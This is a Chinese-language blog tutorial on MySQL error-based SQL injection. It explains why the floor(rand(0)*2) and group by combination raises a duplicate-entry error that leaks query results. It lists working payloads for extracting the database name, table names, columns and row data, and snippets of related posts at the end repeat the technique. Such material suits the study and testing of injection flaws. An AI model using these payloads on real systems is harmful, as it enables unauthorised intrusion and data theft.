SQL報錯注入

2021-10-01 11:20:23 字數 2124 閱讀 2388

報錯注入的原理分析sql報錯注入就是利用資料庫的某些機制,人為地製造錯誤條件,使得查詢結果能夠出現在錯誤資訊中。這種手段在聯合查詢受限且能返回錯誤資訊的情況下比較好用。

一般是在頁面沒有顯示位、但用echo mysql_error();輸出了錯誤資訊的時候使用,它的特點是注入速度快,但是語句較複雜,不能用group_concat(),只能用limit依次猜解;

and

(select 1 from (select count(*

),concat((

select

(select concat

(cast

(database

() as char)

,0x7e

)) from information_schema.tables where table_schema=

database

() limit 0,1

),floor

(rand(0

)*2)

)x from information_schema.tables group by x)a)

//爆資料庫

and

(select 1 from (select count(*

),concat((

select

(select concat

(cast

(table_name as char)

,0x7e

)) from information_schema.tables where table_schema=』database_name』 limit 0,1

),floor

(rand(0

)*2)

)x from information_schema.tables group by x)a)

//爆表名,可以利用group_concat爆多個資料

and

(select 1 from (select count(*

),concat((

select

(select concat

(cast

(column_name as char)

,0x7e

)) from information_schema.columns where table_name=』table_name』 limit 0,1

),floor

(rand(0

)*2)

)x from information_schema.tables group by x)a)

//爆欄位,可以利用group_concat爆多個資料

and

(select 1 from (select count(*

),concat((

select

(select concat

(cast

(concat

(user) as char)

,0x7e

)) from database.table limit 0,1

),floor

(rand(0

)*2)

)x from information_schema.tables group by x)a)

//爆資料,但是一次只能爆乙個

floor

()是取整數

rand

()在0和1之間產生乙個隨機數

rand(0

)*2將取0到2的隨機數

floor

(rand()

*2)有兩條記錄就會報錯

floor

(rand(0

)*2)記錄需為3條以上,且3條以上必報錯,返回的值是有規律的

count(*

)是用來統計結果的,相當於重新整理一次結果

group by在對資料進行分組時會先看看虛擬表裡有沒有這個值,沒有的話就插入存在的話count(*

)加1在使用group by時floor

(rand(0

)*2)會被執行一次,若虛表不存在記錄,插入虛表時會再執行一次

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...

SQL注入 報錯注入

利用 mysql select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a error 1062 23000 duplicate entry 5.1.4...